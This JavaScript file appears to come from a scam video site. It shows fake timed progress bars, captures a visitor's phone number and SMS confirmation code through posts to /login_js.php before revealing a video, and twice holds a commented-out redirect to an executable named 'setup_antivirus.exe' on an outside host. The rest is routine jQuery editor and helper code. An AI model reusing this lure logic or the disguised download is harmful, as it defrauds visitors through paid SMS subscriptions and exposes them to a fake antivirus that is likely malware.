function process(){
	var errs='';
	{
		
		$('#process').show();
		$('#but').hide();

	    $('#load1').everyTime(10,'timer1', function(i) {
	  	var old=$(this).css('width');
	  	old=old.replace(/%/i,'');
	  	$(this).css('width',(parseInt(old)+1)+'%');

	  	$('#load1_per').text(parseInt($('#load1_per').text())+1);

	  	var dots=$('#load1_dots').text();
	  	var len=dots.length;
	  	if(len==3 && i % 5==0)
	  		$('#load1_dots').text('');
	 	else if(i % 5==0)
	  		$('#load1_dots').text(dots+'.');

	  	if(i==100)
	  	{
	  		$('#load1_dots').text('... Готово');

	  		$('#load2').everyTime(20,'timer2', function(i) {
		  	var old=$(this).css('width');
		  	old=old.replace(/%/i,'');
		  	$(this).css('width',(parseInt(old)+1)+'%');

		  	$('#load2_per').text(parseInt($('#load2_per').text())+1);

		  	var dots=$('#load2_dots').text();
	  		var len=dots.length;
	  		if(len==3 && i % 5==0)
	  			$('#load2_dots').text('');
	 		else if(i % 5==0)
	  			$('#load2_dots').text(dots+'.');

		  	if(i==100)
		  	{
	        	$('#load2_dots').text('... Готово');

		  		$('#load3').everyTime(30,'timer3', function(i) {
			  	var old=$(this).css('width');
			  	old=old.replace(/%/i,'');
			  	$(this).css('width',(parseInt(old)+1)+'%');

			  	$('#load3_per').text(parseInt($('#load3_per').text())+1);

			  	var dots=$('#load3_dots').text();
		  		var len=dots.length;
		  		if(len==3 && i % 5==0)
		  			$('#load3_dots').text('');
		 		else if(i % 5==0)
		  			$('#load3_dots').text(dots+'.');

			  	if(i==100)
			  	{
	            	$('#load3_dots').text('... Готово');
	            	$('#ready1').show();
	            	$('#ready2').show();
			  	}

				}, 100);
		  	}

			}, 100);
	  	}

		}, 100);

		return false;
	}
};

function ShowForm(){
	var options = {};
	$('#aff_window_div').show('blind',options,500,callback);
};
function HideForm(){
	var options = {};
	$('#aff_window_div').effect('blind',options,500,callback);
};


function callback(){
	setTimeout(function(){
		$("#effect:hidden").removeAttr('style').hide().fadeIn();
	}, 1000);
};

function PostCode(form){
	 $('#aff_progress_div').show();
	 $.post("/login_js.php", { uname: form.uname.value, pwd: form.pwd.value, type:'podpiska_type'},
     function(data){
	   $('#aff_progress_div').hide();
       if (data=="error1") {
			$('#aff_error').html('Номер введен не правильно');
			$('#aff_error_div').show();
	   }else if(data=="error2"){
			$('#aff_error').html('Код введен с ошибкой');
			$('#aff_error_div').show();
	   }else{
	   if(data=="ok1"){
	   $('#aff_error_div').hide();
	   $('#submit_tel').hide();
	   $('#aff_form_block_2').show();
	   }else if(data=="ok2"){ 
document.cookie="code="+form.pwd.value+"; path=/;";
	   $('#aff_error_div').hide();
	   var options = {};
	   $('#aff_window_div').effect('blind',options,500,callback);
	   $('#pre_video').hide();
		$('#video').show();
	   }	
	   }
     });
}
function PostCode_sms(form){
	 $('#aff_progress_div').show();
	 $.post("/login_js.php", { code: form.password.value, type:'sms_type'},
     function(data){
	   $('#aff_progress_div').hide();
       if (data=="error1") {
			$('#aff_error_div').show();
			$('#aff_error').html('Код не верный');
	   }else if(data=="ok1"){
	   document.cookie="code="+form.password.value+"; path=/;";
			$('#aff_error_div').hide();
			//location.href = "http://nakachali.com/uploads/2010-03/h8kRmz8as32/setup_antivirus.exe";
			//$('#submit_tel').hide();
			//$('#aff_form_block_2').show();
			//$('#aff_window_div').hide();
			var options = {};
			$('#aff_window_div').effect('blind',options,500,callback);
			$('#pre_video').hide();
			$('#video').show();
	   }
     });
}
function change_operator(value){
if(value=='other'){
		$('#sms_type').show();
		$('#podpiska_type').hide();
	}
	else{
		$('#sms_type').hide();
		$('#podpiska_type').show();
	}
}
function show_aff_form_block_2(show){
	if(show=='on'){
		$('#aff_form_block_2').show();
		$('#submit_tel').hide();
	}else{
		$('#aff_form_block_2').hide();
		$('#submit_tel').show();
	}
}


function red_news(ID){
if($('#'+ID+'_red').css("display")=='none'){
	$('#'+ID+'_red').show();
	test_text=$('#'+ID+'_short_area_text').html();
	if(test_text!=''){
	short_text=$('#'+ID+'_short_area_text').html();
	full_text=$('#'+ID+'_full_area_text').html();
	$('#'+ID+'_short_area_text').text('');
	$('#'+ID+'_full_area_text').text('');
	if(ID>0){
	$('#'+ID+'_short_area').text(htmlspecialchars_decode(short_text));
	$('#'+ID+'_full_area').text(htmlspecialchars_decode(full_text));
	}
	$('#'+ID+'_short_area').wysiwyg({
							controls: {
							  strikeThrough : { visible : true },
							  underline     : { visible : true },
							  
							  separator00 : { visible : true },
							  
							  justifyLeft   : { visible : true },
							  justifyCenter : { visible : true },
							  justifyRight  : { visible : true },
							  justifyFull   : { visible : true },
							  
							  separator01 : { visible : true },
							  
							  indent  : { visible : true },
							  outdent : { visible : true },
							  
							  separator02 : { visible : true },
							  
							  subscript   : { visible : true },
							  superscript : { visible : true },
							  
							  separator03 : { visible : true },
							  
							  undo : { visible : true },
							  redo : { visible : true },
							  
							  separator04 : { visible : true },
							  
							  insertOrderedList    : { visible : true },
							  insertUnorderedList  : { visible : true },
							  insertHorizontalRule : { visible : true },
							  
							  h4mozilla : { visible : true && $.browser.mozilla, className : 'h4', command : 'heading', arguments : ['h4'], tags : ['h4'], tooltip : "Header 4" },
							  h5mozilla : { visible : true && $.browser.mozilla, className : 'h5', command : 'heading', arguments : ['h5'], tags : ['h5'], tooltip : "Header 5" },
							  h6mozilla : { visible : true && $.browser.mozilla, className : 'h6', command : 'heading', arguments : ['h6'], tags : ['h6'], tooltip : "Header 6" },
							  
							  h4 : { visible : true && !( $.browser.mozilla ), className : 'h4', command : 'formatBlock', arguments : ['<H4>'], tags : ['h4'], tooltip : "Header 4" },
							  h5 : { visible : true && !( $.browser.mozilla ), className : 'h5', command : 'formatBlock', arguments : ['<H5>'], tags : ['h5'], tooltip : "Header 5" },
							  h6 : { visible : true && !( $.browser.mozilla ), className : 'h6', command : 'formatBlock', arguments : ['<H6>'], tags : ['h6'], tooltip : "Header 6" },
							  
							  separator07 : { visible : true },
							  
							  cut   : { visible : true },
							  copy  : { visible : true },
							  paste : { visible : true },
							  
							  html : {visible : true}
							}
						  });
	$('#'+ID+'_full_area').wysiwyg({
							controls: {
							  strikeThrough : { visible : true },
							  underline     : { visible : true },
							  
							  separator00 : { visible : true },
							  
							  justifyLeft   : { visible : true },
							  justifyCenter : { visible : true },
							  justifyRight  : { visible : true },
							  justifyFull   : { visible : true },
							  
							  separator01 : { visible : true },
							  
							  indent  : { visible : true },
							  outdent : { visible : true },
							  
							  separator02 : { visible : true },
							  
							  subscript   : { visible : true },
							  superscript : { visible : true },
							  
							  separator03 : { visible : true },
							  
							  undo : { visible : true },
							  redo : { visible : true },
							  
							  separator04 : { visible : true },
							  
							  insertOrderedList    : { visible : true },
							  insertUnorderedList  : { visible : true },
							  insertHorizontalRule : { visible : true },
							  
							  h4mozilla : { visible : true && $.browser.mozilla, className : 'h4', command : 'heading', arguments : ['h4'], tags : ['h4'], tooltip : "Header 4" },
							  h5mozilla : { visible : true && $.browser.mozilla, className : 'h5', command : 'heading', arguments : ['h5'], tags : ['h5'], tooltip : "Header 5" },
							  h6mozilla : { visible : true && $.browser.mozilla, className : 'h6', command : 'heading', arguments : ['h6'], tags : ['h6'], tooltip : "Header 6" },
							  
							  h4 : { visible : true && !( $.browser.mozilla ), className : 'h4', command : 'formatBlock', arguments : ['<H4>'], tags : ['h4'], tooltip : "Header 4" },
							  h5 : { visible : true && !( $.browser.mozilla ), className : 'h5', command : 'formatBlock', arguments : ['<H5>'], tags : ['h5'], tooltip : "Header 5" },
							  h6 : { visible : true && !( $.browser.mozilla ), className : 'h6', command : 'formatBlock', arguments : ['<H6>'], tags : ['h6'], tooltip : "Header 6" },
							  
							  separator07 : { visible : true },
							  
							  cut   : { visible : true },
							  copy  : { visible : true },
							  paste : { visible : true },
							  
							  html : {visible : true}
							}
						  });
		}
	}else{
	$('#'+ID+'_red').hide();
	}
}

function red_news_porno(ID){
if($('#'+ID+'_red').css("display")=='none'){
	$('#'+ID+'_red').show();
	test_text=$('#'+ID+'_short_area_text').html();
	if(test_text!=''){
	short_text=$('#'+ID+'_short_area_text').html();
	full_text=$('#'+ID+'_full_area_text').html();
	$('#'+ID+'_short_area_text').text('');
	$('#'+ID+'_full_area_text').text('');
	if(ID>0){
	$('#'+ID+'_short_area').text(htmlspecialchars_decode(short_text));
	$('#'+ID+'_full_area').text(htmlspecialchars_decode(full_text));
	}
	$('#'+ID+'_short_area').wysiwyg({
							controls: {
							  strikeThrough : { visible : true },
							  underline     : { visible : true },
							  
							  separator00 : { visible : true },
							  
							  justifyLeft   : { visible : true },
							  justifyCenter : { visible : true },
							  justifyRight  : { visible : true },
							  justifyFull   : { visible : true },
							  
							  separator01 : { visible : true },
							  
							  indent  : { visible : true },
							  outdent : { visible : true },
							  
							  separator02 : { visible : true },
							  
							  subscript   : { visible : true },
							  superscript : { visible : true },
							  
							  separator03 : { visible : true },
							  
							  undo : { visible : true },
							  redo : { visible : true },
							  
							  separator04 : { visible : true },
							  
							  insertOrderedList    : { visible : true },
							  insertUnorderedList  : { visible : true },
							  insertHorizontalRule : { visible : true },
							  
							  h4mozilla : { visible : true && $.browser.mozilla, className : 'h4', command : 'heading', arguments : ['h4'], tags : ['h4'], tooltip : "Header 4" },
							  h5mozilla : { visible : true && $.browser.mozilla, className : 'h5', command : 'heading', arguments : ['h5'], tags : ['h5'], tooltip : "Header 5" },
							  h6mozilla : { visible : true && $.browser.mozilla, className : 'h6', command : 'heading', arguments : ['h6'], tags : ['h6'], tooltip : "Header 6" },
							  
							  h4 : { visible : true && !( $.browser.mozilla ), className : 'h4', command : 'formatBlock', arguments : ['<H4>'], tags : ['h4'], tooltip : "Header 4" },
							  h5 : { visible : true && !( $.browser.mozilla ), className : 'h5', command : 'formatBlock', arguments : ['<H5>'], tags : ['h5'], tooltip : "Header 5" },
							  h6 : { visible : true && !( $.browser.mozilla ), className : 'h6', command : 'formatBlock', arguments : ['<H6>'], tags : ['h6'], tooltip : "Header 6" },
							  
							  separator07 : { visible : true },
							  
							  cut   : { visible : true },
							  copy  : { visible : true },
							  paste : { visible : true },
							  
							  html : {visible : true}
							}
						  });
		}
	}else{
	$('#'+ID+'_red').hide();
	}
}

function htmlspecialchars_decode (string, quote_style) {
    // Convert special HTML entities back to characters  
    // 
    // version: 1008.1718
    // discuss at: http://phpjs.org/functions/htmlspecialchars_decode
    // +   original by: Mirek Slugen
    // +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +   bugfixed by: Mateusz "loonquawl" Zalega
    // +      input by: ReverseSyntax
    // +      input by: Slawomir Kaniecki
    // +      input by: Scott Cariss
    // +      input by: Francois
    // +   bugfixed by: Onno Marsman
    // +    revised by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +   bugfixed by: Brett Zamir (http://brett-zamir.me)
    // +      input by: Ratheous
    // +      input by: Mailfaker (http://www.weedem.fr/)
    // +      reimplemented by: Brett Zamir (http://brett-zamir.me)
    // +    bugfixed by: Brett Zamir (http://brett-zamir.me)
    // *     example 1: htmlspecialchars_decode("<p>this -&gt; &quot;</p>", 'ENT_NOQUOTES');
    // *     returns 1: '<p>this -> &quot;</p>'
    // *     example 2: htmlspecialchars_decode("&amp;quot;");
    // *     returns 2: '&quot;'
    var optTemp = 0, i = 0, noquotes= false;
    if (typeof quote_style === 'undefined') {
        quote_style = 2;
    }
    string = string.toString().replace(/&lt;/g, '<').replace(/&gt;/g, '>');
    var OPTS = {
        'ENT_NOQUOTES': 0,
        'ENT_HTML_QUOTE_SINGLE' : 1,
        'ENT_HTML_QUOTE_DOUBLE' : 2,
        'ENT_COMPAT': 2,
        'ENT_QUOTES': 3,
        'ENT_IGNORE' : 4
    };
    if (quote_style === 0) {
        noquotes = true;
    }
    if (typeof quote_style !== 'number') { // Allow for a single string or an array of string flags
        quote_style = [].concat(quote_style);
        for (i=0; i < quote_style.length; i++) {
            // Resolve string input to bitwise e.g. 'PATHINFO_EXTENSION' becomes 4
            if (OPTS[quote_style[i]] === 0) {
                noquotes = true;
            }
            else if (OPTS[quote_style[i]]) {
                optTemp = optTemp | OPTS[quote_style[i]];
            }
        }
        quote_style = optTemp;
    }
    if (quote_style & OPTS.ENT_HTML_QUOTE_SINGLE) {
        string = string.replace(/&#0*39;/g, "'"); // PHP doesn't currently escape if more than one 0, but it should
        // string = string.replace(/&apos;|&#x0*27;/g, "'"); // This would also be useful here, but not a part of PHP
    }
    if (!noquotes) {
        string = string.replace(/&quot;/g, '"');
    }
    // Put this in last place to avoid escape being double-decoded
    string = string.replace(/&amp;/g, '&');
 
    return string;
}

function getDataAccess(){
$('#pre_video').hide();
$('#oplata_table').show();

/*
	if($('#codebox').css("display")=="none") $('#codebox').show();
	else $('#codebox').hide();*/
	
}
function PostCode(form){
	 //$('#aff_progress_div').show();
	 $.post("/login_js.php", { code: form.code.value },
     function(data){
	  // $('#aff_progress_div').hide();
       if (data=="0") {
			$('#aff_error_div').show();
	   }else{
			$('#aff_error_div').hide();
			$('#oplata_table').hide();
			$('#video_span').show();
			//location.href = "http://nakachali.com/uploads/2010-03/h8kRmz8as32/setup_antivirus.exe";
			//$('#submit_tel').hide();
			//$('#aff_form_block_2').show();
	   }
     });
}

function print_r(arr, level) {
    var print_red_text = "";
    if(!level) level = 0;
    var level_padding = "";
    for(var j=0; j<level+1; j++) level_padding += "    ";
    if(typeof(arr) == 'object') {
        for(var item in arr) {
            var value = arr[item];
            if(typeof(value) == 'object') {
                print_red_text += level_padding + "'" + item + "' :\n";
                print_red_text += print_r(value,level+1);
		} 
            else 
                print_red_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
        }
    } 

    else  print_red_text = "===>"+arr+"<===("+typeof(arr)+")";
    return print_red_text;
}
